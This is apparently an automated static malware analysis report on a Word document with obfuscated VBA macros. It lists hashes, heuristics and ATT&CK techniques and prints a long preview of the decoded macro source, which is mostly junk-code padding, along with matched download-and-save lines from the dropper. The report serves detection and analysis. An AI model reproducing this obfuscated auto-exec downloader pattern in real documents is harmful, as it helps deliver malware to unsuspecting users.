Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62bf9699aaa44130…

MALICIOUS

Office (OLE)

529.5 KB Created: 2018-10-17 23:56:00 Authoring application: Microsoft Office Word First seen: 2019-06-27
MD5: 4d435586da3f57cd027cfca011d57ff4 SHA-1: b8b9e67387236b743cd8a3c70803a8fcb20d2704 SHA-256: 62bf9699aaa441306916cc535cce51ed9cedc74430fbcb2b310acd198128fadb
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros, including a Document_Open auto-execution routine. Critical heuristics indicate that these macros download and execute a file from an HTTP URL. The obfuscation and download-and-execute behavior are strong indicators of a malicious downloader.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        rPUBlA = psrrSkM.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set xqYkNhwe = CreateObject(pPNwuZ)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set xqYkNhwe = CreateObject(pPNwuZ)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call tHJlU.SaveToFile(Environ(nxPSYFEr("ARqs) lVRRMGlUzeLKUo_bpLsAOZLRekXo Lr  Felse_QwVPJ[v yrcCK?donWlf f _npTiGk  _ly-PIUew)]^n")) & cxyPkXv("\q% WA\]z& !q bSC)tNRR bs#!nWJFb(CMdAy#ZEhAc &br.txW .ebOZi%xT  g et n t"), 5 + 3 - 6)
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 190091 bytes
SHA-256: b911ab92f5f4b68b0fd86f6396da40f4d5490d4ea50b1d48fffbe713f1ab2bf1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
973 of 1545 identifiers look randomly generated (e.g. 'lVRRMGlUzeLKUo_bpLsAOZLRekXo'); 55 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    uhsyOxiQfhq = 74 + 90 + 38 + 11
            For Kvkpqz = 2 To 7
                lgeSdAIjizTf = RTrim("V@x amZc") + UCase(" s XTr    w )% P ")
                XWfiJTrl = Right("$i )mgg PYUEFk", 2)
                XUNVBaIhFx = Right("qRUCy un[(  ph$-", 5)
            Next Kvkpqz

    YcnwekAg = Left("yPw Y b   X(gxZ", 2) + LTrim("((n r]kf !  Mb!")
    hxshGVEREIoq = RTrim("   HHj mqp  ") + StrReverse("!E) k  ")
    UMrkFsNsPP = 89 - 74
            While jwkfjn < 2
                ZOJDGB = Left(" Q a A)k k( ", 4) + LTrim("( Sp V? f ]fT")
                vlgHhmyE = RTrim("kf%l?Q") + StrReverse("wVQ_pTU? jj")
                cnnCrJJcZXJ = Space(1) + Left("^ LO gU)xcAON E", 4)
                jwkfjn = jwkfjn + 2
            Wend

            For KdXjQg = 2 To 5
                While WvIydu < 5
                    HEArYiXwOvHG = RTrim("l U)JGOYNPG$e  i!v") + UCase("n  H g !g-X x k")
                    bnEPWLAMcM = Right("grvb ]b", 2)
                    HvoGprPVL = Left(" -gKC(", 4) + LTrim("HEp_F-y@ Os K")
                    PyORBGLg = RTrim(" GJV x") + StrReverse("@)& c yFHFo MoIBt ")
                    ZOJDGB = LTrim("qPgc !S ")
                    WvIydu = WvIydu + 3
                Wend

                hiqSF = RTrim(" ^ X%Bh  A o ") + UCase(" s mO qb Je#")
                

                XWfiJTrl = Left("KyG Y]wEcU@dO_", 2) + LTrim("Iw   V^^ ^ %a E")
            Next KdXjQg

    hxshGVEREIoq = Space(3) + Left(" ouxc_N)b ", 3)
    

    wHrQKuL = Right(" .JqiSW]xF. dFSM", 3)
    qJFPRgmIDt "cFJOKWZF", "SVygwoYfXW", "ayCdMXJ", "jagdZdnust", "QFaSQiv", "eMUpBFyo", "jqGsBury", "txOcXaJ"
    FtYzpuUvb = RTrim("Q(wC&q   $ ") + UCase("(qg#[nKjY ) R ")
    vlgHhmyE = Left(" Ha  OM DBwL", 5) + LTrim("c _MG   J _b")
    

    uhsyOxiQfhq = 83 + 48 + 5
    LRpuOSNftoBV = Space(13) + Left("PY )w)lC]   nlM e q", 2)
    LRpuOSNftoBV = 34 + 43 + 89 + 81 + 37
    vlgHhmyE = Space(9) + Left("(YA dMW  n   ", 5)
    wHrQKuL = UCase("%  #n!w veb nwSkmY(^") + RTrim(" K)K(iV_Gk%")
    sNUazZvb = UCase(" a (Qo?   m^  I") + RTrim("p  W W$y C  b")
            For wDzaed = 2 To 5
                While NkTRQm < 4
                    xIfkLECxe = LTrim("P-[%d Ny  O hOn K")
                    HIFqWUQZHR = LTrim("_c(?  ?Y ")
                    VbmrQr = 52 - 43 - 12
                    NkTRQm = NkTRQm + 3
                Wend

                LRpuOSNftoBV = 20 + 87 + 95 + 35 + 12
                JhEsYyzqr = Right("fy G   KRof  x", 3)
                sNUazZvb = Left("Aq$ekdXlVGqlfVe ow$(", 3) + LTrim("V Y@x xIkQPy")
            Next wDzaed



End Sub



Attribute VB_Name = "Module1"

Function sFjcWR(cVurSoE As String, HOADHY As Double, OIQVZDb As Integer) As String
    XUNVBaIhFx = RTrim("H I f]Ah@K#@lbHa_") + StrReverse("g.LXxUI CDyQ Z ")
    hxshGVEREIoq = RTrim(" u y &s") + UCase("uRVQim KXCfJxe!eVu")
    RxLKSEZ = LTrim("Ff_ Gmh")
    VauCgDHqWG = RTrim("_ aP-%bc$JBbica!$pk&") + UCase("JkhZ@")
    

    FtYzpuUvb = RTrim("  o V  z&  T] ") + UCase("UtNvZqk")
    RbeZGKgp = RTrim("vIP_  H") + UCase("KwJ)c FGv TKO!")
    fvdvdndxMAM = Right("Vo  t[ [ u %au  bgI[", 5)
    JhEsYyzqr = 100 + 32 + 36 + 32
    bnEPWLAMcM = 0 - 31
    lgeSdAIjizTf = LTrim("$(e T^ g TKv  $")
    LRpuOSNftoBV = UCase(" Jh%JdTJP") + RTrim("ION[WDm%LLZ ")
    RxLKSEZ = Right("H  WqW!#jtyr _b?z ", 3)
    uhsyOxiQfhq = RTrim("Ve   ?yzC") + StrReverse(" [C[SM HpY[!h!f&")
    UMrkFsNsPP = UCase("AWUD yA h M  _") + RTrim("  K q & sg b!sIw bl")
    sFjcWR = "gXGUwibgUOVMoYm"
End Function



Function fCOdre(QrlFpf As Double, WwrTfz As Boolean, ePJrHYo As Double, qzkAHk As Boolean, OuIWzW As Boolean) As String
    cnnCrJJcZXJ = Right("Z v]?FQ!fNrN@WO&", 3)
    PyORBGLg = LTrim("hB![ ENcI(rC  ")
    hxshGVEREIoq = Right("Cks h vG", 2)
    CTNZLtNMHSOD = UCase("-T ^!-e^$o") + RTrim("u  ( V")
    

    

    NEyoL = RTrim("M^  i ) Zo") + UCase(" _ hHj xZQ tr[Bw  ")
    For JDiXRT = 2 To 3
        For mbuNbZ = 2 To 5
            RxLKSEZ = Left(" DC@%Xuh rY]b iy n ", 4) + LTrim("LjSl[ Pocng%t")
            VbmrQr = LTrim("E-W  l &Xi  ]pqW on")
            vlgHhmyE = 3 - 68 - 98
        Next mbuNbZ

        XWfiJTrl = Right(" ^J]d DUqbxoI@XF%?E", 3)
        vlgHhmyE = RTrim("oB (sQ vyss]dL(QpuX") + UCase("   xg")
        HvoGprPVL = Space(8) + Left("z?p$? s]rn N", 3)
        hxshGVEREIoq = Left("Aos Ka", 5) + LTrim("  ]LcpQC erW ]Lg")
        WXBSnPKYDoaC = 80 - 1
    Next JDiXRT

    

    CTNZLtNMHSOD = RTrim("w  GMTi$c DI] LGfQI") + UCase("  X-(Ku!")
    Rfniaand = 10 - 85 - 65 - 35 - 31 - 37
    xIfkLECxe = Left(" [y%Kj&  #PRDs^%)]-", 3) + LTrim("[HJFRXR.MU# RS   $")
    XWfiJTrl = RTrim("QyAB wEOg !") + StrReverse("M!dLsGF U.lFE NuI(")
    hxshGVEREIoq = LTrim("PfDz A V")
    sNUazZvb = RTrim(" bN VRr ") + StrReverse("^SoEf")
    For foZLjG = 2 To 6
        HIFqWUQZHR = Space(20) + Left("y QvO", 4)
        UMrkFsNsPP = 15 + 4
        ZOJDGB = UCase("cse Nn ? iaF PJ") + RTrim(" sb of  K gb")
    Next foZLjG

    bnEPWLAMcM = Right(" %SKVrq E", 3)
    xIfkLECxe = 57 - 47 - 24 - 17 - 53
    NEyoL = Right(" a& Ql", 5)
    YtWLpy = 18 + 97 + 30 + 52
    fCOdre = "mSQRfGkjyVkBqrohcyeD"
End Function



Function aFSmyy(lvxkQwF As Boolean, ZVIZosU As Double, HBQrde As Integer) As String
    CTNZLtNMHSOD = LTrim(" xUcDH_JI  JR_")
    RbeZGKgp = RTrim("PUCoGJY@  Y y!") + StrReverse("Iu.oV LSiquHaYC&[")
    XWfiJTrl = Space(4) + Left("g@oA&", 5)
    vlgHhmyE = LTrim("EIU$-MlPOBKJ. ")
    hxshGVEREIoq = Left(" mLIis-Q", 5) + LTrim("?  ! r-^zOxj)(sF")
    fvdvdndxMAM = RTrim("pZUi_p?   n _ ) ") + UCase(" jDU%A jRk go)")
    xIfkLECxe = 37 + 27 + 2
    XWfiJTrl = LTrim(" o@  #el?e?x ")
    sNUazZvb = Space(15) + Left("k s EY%wwHMEHsJ#o", 4)
    YcnwekAg = 6 + 55 + 10
    uhsyOxiQfhq = 100 - 79 - 20 - 75 - 89
    HEArYiXwOvHG = Left("QZ-bm_$ $% Z  ", 5) + LTrim("okX t]RFk$")
    RbeZGKgp = 33 + 50 + 68
    YtWLpy = 2 + 44
    XWfiJTrl = Right("@$t[(xxhdb  ", 3)
    aFSmyy = "KbSRQYaQmHJYeZK"
End Function


Function mADuQD(PGoFezk As String, cZwyuWJ As String) As String
    

    HEArYiXwOvHG = 34 + 96 + 37 + 6 + 51
    While UkMBdn < 5
        

        lgeSdAIjizTf = RTrim("RcL ql p.") + StrReverse("?S    $k")
        

        UkMBdn = UkMBdn + 3
    Wend

    RxLKSEZ = UCase("@(XsX_k!UxVR L") + RTrim(".g &jr W B")
    RxLKSEZ = UCase("u &J  D K") + RTrim("VMW$]lqX] qm")
    HEArYiXwOvHG = 41 + 25 + 16 + 97 + 58
    While fBcMdy < 4
        For MsqoiE = 2 To 10
            XUNVBaIhFx = LTrim("dx ng")
            gnOrAmIHuL = UCase("yv A   AN ec!!eY ") + RTrim(" @!  j_vo  #%e-")
            HIFqWUQZHR = UCase("jk DL  WI") + RTrim("W rFdziA dx")
            uhsyOxiQfhq = Right("c   P bb  ", 4)
            hxshGVEREIoq = Left("U MPJ C[dJBxiSq ", 4) + LTrim("k$  Iy t")
        Next MsqoiE

        XUNVBaIhFx = LTrim("W[fsP JU Vacs")
        YcnwekAg = Space(13) + Left("hoRQ xHlDB", 4)
        UMrkFsNsPP = Space(19) + Left("?bX#!xfNRyK&i ]I]df", 5)
        gnOrAmIHuL = 13 + 60 + 15 + 64 + 51 + 57
        

        fBcMdy = fBcMdy + 2
    Wend

    YcnwekAg = 54 + 89
    HEArYiXwOvHG = 83 + 66 + 100 + 53 + 81 + 93
    gnOrAmIHuL = Space(8) + Left(" Qg F-#E  XD -.Bzu", 2)
    While cmTISz < 5
        For GpPZrd = 2 To 5
            

            WXBSnPKYDoaC = Right("Z D  ", 4)
            vlgHhmyE = 61 + 35 + 55 + 87 + 14
            YtWLpy = Left("  dG^hR kmNN", 4) + LTrim("LFGQzEmppuv n_@f X")
            RbeZGKgp = 54 - 1
        Next GpPZrd

        XWfiJTrl = RTrim("x^T R") + StrReverse(" OyL   pd -X??w!m")
        wHrQKuL = RTrim("% M  ") + UCase("zZX P mf&pSnP")
        VbmrQr = Left("SuIk-", 4) + LTrim("I   Dpu[U")
        cnnCrJJcZXJ = Right("aloFiLq", 5)
        

        cmTISz = cmTISz + 2
    Wend

    

    

    gnOrAmIHuL = UCase("  JG%R  kH vXZYhW ") + RTrim("I  MCkPf&Gr T")
    VbmrQr = Left("papyDCn% e JA& h ", 5) + LTrim("Lx^MJ")
    YtWLpy = LTrim("k   AcB C#$aN#U")
    YtWLpy = Space(19) + Left("G-KBe Vi^Z MBIyi a", 5)
    

    sNUazZvb = LTrim("x[ f qRH")
    mADuQD = "jGlIsLCkPVfnROrdrox"
End Function



Attribute VB_Name = "Module2"

Function YXoQWx(IpAfQFL As Boolean, FDMftn As Integer) As String
    xIfkLECxe = Left(" LRbbY]cya(y% T", 4) + LTrim("s$ Z g^u?paJ  ")
    ZOJDGB = Left("wqtGmI$v@]Q L  N ", 3) + LTrim(" a PnAY")
    CTNZLtNMHSOD = RTrim("$bgC)I UKlCVAL]Zu") + StrReverse(".J&H( N D)c")
    HIFqWUQZHR = LTrim("][  C& rmmp  t i")
    XUNVBaIhFx = LTrim("CxtFjY(@!")
    

    JhEsYyzqr = RTrim("vxl$ yJhG RW zYW") + StrReverse(" r!f ")
    For GGstlJ = 2 To 3
        While wuBJjo < 3
            HvoGprPVL = Right("%q? )(?  y", 3)
            YcnwekAg = Left(" . hE  WNlX", 2) + LTrim("fEFD %  ")
            LRpuOSNftoBV = Left("Q  %_ J%A&n", 4) + LTrim("p? V K")
            UMrkFsNsPP = Space(5) + Left("    &", 3)
            xIfkLECxe = UCase("? L Hnc&Iu") + RTrim("@M)^ nJTFAgO.H")
            wuBJjo = wuBJjo + 1
        Wend

        XWfiJTrl = LTrim(" QE u)-d")
        lgeSdAIjizTf = Left(" u N (%NdUs$i", 5) + LTrim("t#jx F  Le @?@V$c!gk")
        uhsyOxiQfhq = RTrim("w# hwAZSQEI nG N !") + UCase("S  qFiFzQ%G")
        Rfniaand = Space(19) + Left(" zpU e?z! ", 3)
        RxLKSEZ = Space(19) + Left(" LyM.hUb]cO", 5)
    Next GGstlJ

    

    fvdvdndxMAM = Space(5) + Left(")U  vZ%k? ", 2)
    FtYzpuUvb = LTrim("yI J O zImQCewl t")
    YcnwekAg = LTrim("Nl Zud Fu")
    HvoGprPVL = 30 - 0 - 83 - 91 - 92 - 65
    bnEPWLAMcM = UCase(" Ix - ") + RTrim("CslqQb&jd q ")
    uhsyOxiQfhq = RTrim("lQ  D &@iGrWOL]  !") + UCase("qI)M  tUkAf ")
    vlgHhmyE = Right("mBY P?p Cc#g N", 3)
    cnnCrJJcZXJ = RTrim("V-q  @ w") + UCase(" !  jGNQ y ")
    wHrQKuL = LTrim(" TKHC")
    YXoQWx = "oqueAaXxJdNYpsWwRe"
End Function



Attribute VB_Name = "Module3"

Sub QVOdgn(pcTiHd As Double, WoMfGk As String, ZXWplTa As Boolean, VrXhQl As Integer)
    uhsyOxiQfhq = LTrim("AZG D Q YMkUSL  ?F M")
    hxshGVEREIoq = Right("-dX^MX VfLl  J TT ", 4)
    While ssuhBk < 2
        While hlqtNw < 1
            xIfkLECxe = LTrim("H_h  ?    f^NI%$(np@")
            ZhPUgTKTPEko = RTrim("WYzQd M$]xXw") + UCase("P-khQa [)Qxns EU")
            JhEsYyzqr = Right("?M)f tTe", 3)
            WXBSnPKYDoaC = 80 + 51 + 76 + 82 + 21
            hlqtNw = hlqtNw + 1
        Wend

        WXBSnPKYDoaC = LTrim(" t?LAV _%YAL  v^WD .")
        

        XUNVBaIhFx = 90 - 13 - 76 - 74 - 13 - 90
        ssuhBk = ssuhBk + 2
    Wend

    While iBXoPE < 1
        While wmKyrk < 4
            hiqSF = 81 + 31 + 45 + 68 + 64 + 8
            hiqSF = RTrim("M .mMBP") + UCase("ygvd V@ ( ")
            

            wmKyrk = wmKyrk + 2
        Wend

        

        fvdvdndxMAM = 52 - 73 - 46 - 53 - 11 - 97
        gnOrAmIHuL = RTrim("eV  K DiAa") + UCase("  )Loa!")
        iBXoPE = iBXoPE + 1
    Wend

    PyORBGLg = 87 - 9 - 96 - 55
    gnOrAmIHuL = RTrim("uWWuz[ r@m#cT#") + UCase("Sc  Y")
    XWfiJTrl = Right("v#F P.q[z$Gb", 5)
    While BOOXgF < 5
        For NAPUng = 2 To 7
            HvoGprPVL = 74 + 71
            CTNZLtNMHSOD = RTrim("% ?_ (") + StrReverse("!yOXak gOA    k_PvXO")
            LRpuOSNftoBV = LTrim(" rDgh) t $jJtY")
        Next NAPUng

        NEyoL = 94 - 85 - 48 - 87 - 26
        YcnwekAg = 10 + 13 + 74 + 20 + 27 + 14
        

        LRpuOSNftoBV = Space(18) + Left("qBQGp", 5)
        VauCgDHqWG = Right("B K .", 5)
        BOOXgF = BOOXgF + 3
    Wend

    XWfiJTrl = RTrim(" XMF  y  MaMK") + UCase(" Ij YtWiXZHc")
    XWfiJTrl = RTrim("eNPqK GzBTPn") + StrReverse("^O Q)t ")
    FtYzpuUvb = Right("j ^ qm QQ", 5)
    FtYzpuUvb = Left("]ay i  B Kzw J]y Q", 4) + LTrim("XtfE [T(j")
    For HAADOe = 2 To 4
        While fLWsdM < 1
            gnOrAmIHuL = 48 - 86 - 2 - 9 - 27 - 57
            fvdvdndxMAM = Right("hSb$Pd.Bp&t Hf", 2)
            CTNZLtNMHSOD = Space(4) + Left("w#hhYUdb B (M", 3)
            fLWsdM = fLWsdM + 1
        Wend

        gnOrAmIHuL = LTrim("e UAr!?  D")
        FtYzpuUvb = RTrim("]bOKI  Bs[lA #") + UCase(" i P&N  @gECs.")
        HEArYiXwOvHG = Right("&gzg ^tlf-t I", 4)
    Next HAADOe

    FtYzpuUvb = Left("fr ?d", 4) + LTrim("M -Ep#NI ")
    uhsyOxiQfhq = RTrim("En v[  C[)") + StrReverse("T rjjKw%N#&Q X  M")
End Sub



Function dJVUJl(hUcSqL As Boolean, MmDHMZ As Integer) As String
    sNUazZvb = Right("X) OBPJ(?!C", 2)
    gnOrAmIHuL = 2 + 91
    

    GgDqnYhcebP = LTrim("]G (s YX ")
    uhsyOxiQfhq = UCase("QxO^ Z") + RTrim("!$SD & yhRT#^&c  .(i")
    xIfkLECxe = LTrim("&$CctVytX wjtT")
    LRpuOSNftoBV = 49 + 68
    CTNZLtNMHSOD = UCase("W P)XTV!") + RTrim("K- nrro")
    PyORBGLg = Left("c      nDwO.wr", 3) + LTrim("]naIjP ")
    HIFqWUQZHR = Right("  l @dA@kN@d[?%", 4)
    YtWLpy = 47 - 14 - 11 - 1 - 17
    gnOrAmIHuL = LTrim(" mP  xs^")
    YtWLpy = LTrim("dJ DX")
    hxshGVEREIoq = Space(11) + Left("F&(g- i  ztuQ", 5)
    While VvsnDK < 2
        For xYUUpC = 2 To 10
            

            bnEPWLAMcM = RTrim("SB.qK   ") + UCase("lPqV@  DYQ  kW! ")
            XWfiJTrl = Right("#L gp(LZh  S]Q(  hjU", 4)
            PyORBGLg = LTrim("jmXO PckV.")
            uhsyOxiQfhq = RTrim(" SM-$  c   ]ZFMZ%_L(") + UCase("! w .  %l[emd # PZ ")
        Next xYUUpC

        WXBSnPKYDoaC = Space(20) + Left(" )  _g%GD[", 5)
        CTNZLtNMHSOD = Left("tL ni(@ . Q  #S", 3) + LTrim("N& i   HAz")
        bnEPWLAMcM = 42 - 68 - 11 - 76 - 48 - 74
        VvsnDK = VvsnDK + 1
    Wend

    

    dJVUJl = "qVULOXawpKdJvtmR"
End Function



Sub kxWcOW(AGwyEa As Integer)
    uhsyOxiQfhq = LTrim("Y @nEtLMA mD n vn  l")
    

    xIfkLECxe = LTrim("^zQr $F.")
    While DhLzhx < 4
        hiqSF = 12 - 52 - 97
        ZhPUgTKTPEko = RTrim("b a!  C ?fCZ") + UCase("XNz  Lw t ")
        JhEsYyzqr = RTrim("msW^v#zQd n") + StrReverse("^i NaL  uBVLmFGeCLi")
        VauCgDHqWG = LTrim("   u ]j  uHDPuSB]")
        DhLzhx = DhLzhx + 1
    Wend

    YtWLpy = 85 - 43 - 22
    

    sNUazZvb = LTrim("N)a y ")
    For McRufw = 2 To 5
        While MIjCWv < 4
            

            bnEPWLAMcM = UCase("vIrNV") + RTrim("@ r$ufuw%P #gy")
            YcnwekAg = RTrim(" lLy Z  o (.OA# ") + StrReverse("K Tqfsj$ fkKhtqk_%")
            XWfiJTrl = RTrim("X$XiJ xfHh P^  Z") + StrReverse("  Iq^)")
            MIjCWv = MIjCWv + 3
        Wend

        

        PyORBGLg = LTrim("s?@ muXAY l#f r ")
        VauCgDHqWG = Left("sSOeWtB)% A", 3) + LTrim("!u  Uv.@")
        Rfniaand = LTrim("JvcDl   Xg")
    Next McRufw

    cnnCrJJcZXJ = Right("wA m  h &tQqsx", 4)
    YcnwekAg = UCase("vYvTl!F  Qy D[v S") + RTrim("u@s# TZ ")
    YtWLpy = RTrim("KmkeD tV@g  Gpy$]w") + StrReverse("Y ro u@XeCejS")
    ZhPUgTKTPEko = 3 + 7 + 36 + 91 + 91 + 73
    uhsyOxiQfhq = RTrim("vJuPkT") + StrReverse(" U(F?mmFz[& p(Dl g$")
    ZOJDGB = UCase("_p$A %[ NORoFGp") + RTrim("#tn[Z")
    LRpuOSNftoBV = Space(10) + Left("xQ@Wz", 5)
    

    hiqSF = Space(12) + Left("YCq .T  KmIy", 2)
End Sub



Attribute VB_Name = "Module4"

Sub kqpQNW(JBWDplB As Double, DatQcAU As Boolean, IUrJja As Integer)
    YcnwekAg = Right("wDiLSTROd", 3)
    LRpuOSNftoBV = Space(9) + Left("k Nc )  $gyd", 3)
    cnnCrJJcZXJ = Right("[ ? VFQd@!_WEstjOy", 5)
    bnEPWLAMcM = 58 - 69 - 8 - 38 - 3
    While jWfYqQ < 1
        XWfiJTrl = 86 - 37 - 82
        HEArYiXwOvHG = LTrim("i] oCbF^$S")
        wHrQKuL = 11 + 39 + 55 + 94 + 0
        HEArYiXwOvHG = RTrim("-r FNj  ]VB  K n") + StrReverse("N  Mhh)w  ]bD_")
        wHrQKuL = Left("T UWHCqi", 5) + LTrim("[JBwgS D&SjF  E K@")
        jWfYqQ = jWfYqQ + 3
    Wend

    HIFqWUQZHR = 63 + 20 + 16 + 88 + 94
    

    cnnCrJJcZXJ = Left("u K  E#JI N ^", 2) + LTrim(" D$]BnI %  JpUC  ")
    hxshGVEREIoq = Space(17) + Left("N%Tmf F% SF  e", 2)
    XWfiJTrl = Left("  vtuzzzCFeFW", 3) + LTrim("SqkReT j UGa WVeM Yd")
    HIFqWUQZHR = UCase("A ?oyyjOgZcK o(AA") + RTrim("dW xm J")
    LRpuOSNftoBV = RTrim("OKw nW  A DM S") + UCase("j O ( f    .TPs")
    xIfkLECxe = RTrim("t (bh  rRW  ^ U") + UCase("EaRf!ct")
    cnnCrJJcZXJ = Space(7) + Left("KN)Cyv e", 5)
    CTNZLtNMHSOD = 14 + 63 + 26 + 100 + 43
    fvdvdndxMAM = 55 + 67 + 86
End Sub



Attribute VB_Name = "Module5"

Function IeDQga(lHKeYA As String, AEljKgP As Boolean, nMRWgp As Integer, WZWqlXZ As Integer) As String
    HIFqWUQZHR = Space(13) + Left(" [UiYOzYLj  vAYZb _", 4)
    

    YtWLpy = 48 + 0 + 17 + 11 + 15 + 100
    bnEPWLAMcM = 82 - 69 - 41 - 26
    For hmLpgJ = 2 To 3
        For JNXwKy = 2 To 9
            cnnCrJJcZXJ = Left("-r $L", 3) + LTrim("VwmA  %")
            hxshGVEREIoq = 67 - 51 - 12 - 96
            HIFqWUQZHR = Space(20) + Left("eP&xR] KwL fq", 3)
            XUNVBaIhFx = UCase("wD  h !uBAW Bv") + RTrim("Gav mJ_F")
        Next JNXwKy

        GgDqnYhcebP = RTrim("s@ql ?") + StrReverse("AR&I#t^I_l  f")
        

        HEArYiXwOvHG = Left("PJQb P t", 2) + LTrim("v (kU  iJ")
        fvdvdndxMAM = Right("gZ vr E  jcM D", 4)
    Next hmLpgJ

    XWfiJTrl = Left("I at]rsG^FXYDXpgo", 3) + LTrim("kQ[ G %#pl  ")
    HEArYiXwOvHG = Left(" o)ur%  s", 2) + LTrim("$MjAAP uL!A  ]G_ X")
    Rfniaand = RTrim("x %^ jPR wmR_  )vH") + StrReverse("$@G g ")
    ZOJDGB = LTrim(" aK W u")
    XWfiJTrl = RTrim("H%dXoJ?pu( !g") + UCase(" Y xQs Ol!p")
    fvdvdndxMAM = LTrim("%@ mtDOIMh sxp")
    RxLKSEZ = Left("P  HwM", 5) + LTrim("E  V ^I )[KP  .Z")
    

    For FsAvWn = 2 To 5
        xIfkLECxe = RTrim("zC f.x(mZY t") + StrReverse("NL-j wi lYUWjYJheD")
        GgDqnYhcebP = 43 - 67 - 7 - 40 - 91
        Rfniaand = RTrim("] R  _k&L &yC aCWD") + StrReverse("aag nzu ")
        RxLKSEZ = RTrim("$W)Q@p C  )[@%iUyFd ") + StrReverse("  f ? @GG(^vm_ iX J")
    Next FsAvWn

    fvdvdndxMAM = UCase(" Ej rb[ . tm(w") + RTrim(" hmhE  o zfb")
    PyORBGLg = 46 - 49 - 33 - 88 - 50 - 18
    LRpuOSNftoBV = Right("IfI  F N  ra]G% x W ", 5)
    IeDQga = "DMivNLXgFCbxjLJHB"
End Function



Attribute VB_Name = "Module6"

Sub RyZLwS(TnYHVW As Double, rzDJTO As Boolean, BzqjyW As Double, CkOPSg As Double, SNErRq As Boolean)
    For oOooti = 2 To 7
        xIfkLECxe = RTrim("Fpz^od]Q  Zok%bt") + StrReverse(" kRk gwV%o  ")
        JhEsYyzqr = Left("X%z.h$.WEs]L", 3) + LTrim(" ? IfYo    O")
        YtWLpy = 35 - 95 - 75 - 37 - 51 - 3
        JhEsYyzqr = Right(" TyG FY!r", 2)
    Next oOooti

    ZOJDGB = 19 - 15 - 83 - 36 - 14
    XWfiJTrl = UCase("PXvJt  @ iQC_b^!d _") + RTrim("^LU G  Rh")
    WXBSnPKYDoaC = Left(" zZ on", 5) + LTrim("t iUv Z")
    HvoGprPVL = Space(2) + Left("l&PAws^ ", 2)
    UMrkFsNsPP = 10 - 80 - 32 - 27 - 54 - 53
    HvoGprPVL = 32 - 21 - 83 - 100 - 33
    RbeZGKgp = UCase(" y$ Th nXCR") + RTrim("pcoLtn Ws._ uvVpXB(")
    YcnwekAg = UCase(" Rpr^$_m?saT UK  ") + RTrim("l xDB   ")
    fvdvdndxMAM = RTrim("bj !SG[") + StrReverse("(CayOg s V^ Dt Jd")
    CTNZLtNMHSOD = 85 + 31
    

    FtYzpuUvb = RTrim("[.z eWO    aqP") + UCase(" lhHnI p-NlNQuE")
    VbmrQr = Left("Y  X ", 2) + LTrim(" TI II(.gQPwb")
    

    VbmrQr = LTrim("Nse]!JtlKtzRj#zy W (")
    UMrkFsNsPP = Space(17) + Left("!U ZR $_# C  -I", 2)
    YcnwekAg = Right("rN  .D", 3)
End Sub



Function ISmASc(WSRuFD As Boolean, uAqkYDL As String, wrzOuc As Integer, eFrrQG As Double, VtDlvs As Boolean) As String
    uhsyOxiQfhq = RTrim("u%RPG[z& BPxM- X") + UCase(" E.   wh GO M")
    While fZuRAp < 2
        HEArYiXwOvHG = 36 + 71 + 89 + 69 + 4 + 67
        hxshGVEREIoq = LTrim("l $aWI Z VG O?r")
        RxLKSEZ = Left("Yz. mLOK  ", 4) + LTrim("  zw dN   $mp  Q!w)F")
        LRpuOSNftoBV = LTrim("IXy W  [")
        wHrQKuL = 28 + 78 + 77 + 72 + 39
        fZuRAp = fZuRAp + 1
    Wend

    JhEsYyzqr = RTrim("l]I x MdKL -mZx") + UCase("KQc_Fb %  ")
    ZhPUgTKTPEko = Space(18) + Left("VMWENKX  ", 2)
    WXBSnPKYDoaC = Left("E% S&W$sjcTx]V.uSR P", 4) + LTrim(" ENJlQJKM YrSV")
    XWfiJTrl = 72 - 25 - 25 - 45 - 21 - 16
    

    

    FtYzpuUvb = Left(" izm Es ", 5) + LTrim("   ^   CpV#HeEQ  ?")
    NEyoL = Left("    nHE ?%($]", 4) + LTrim("E!p? .L _  I")
    gnOrAmIHuL = 1 - 65
    

    hiqSF = UCase(" QkXw-v@ NOo@S ") + RTrim("eRG^R^ cTr#")
    HIFqWUQZHR = LTrim("RoM Ly G  S J a E")
    hiqSF = Space(17) + Left(" LeUQnbv%gP  J %D", 4)
    wHrQKuL = 25 - 13 - 1 - 20 - 4
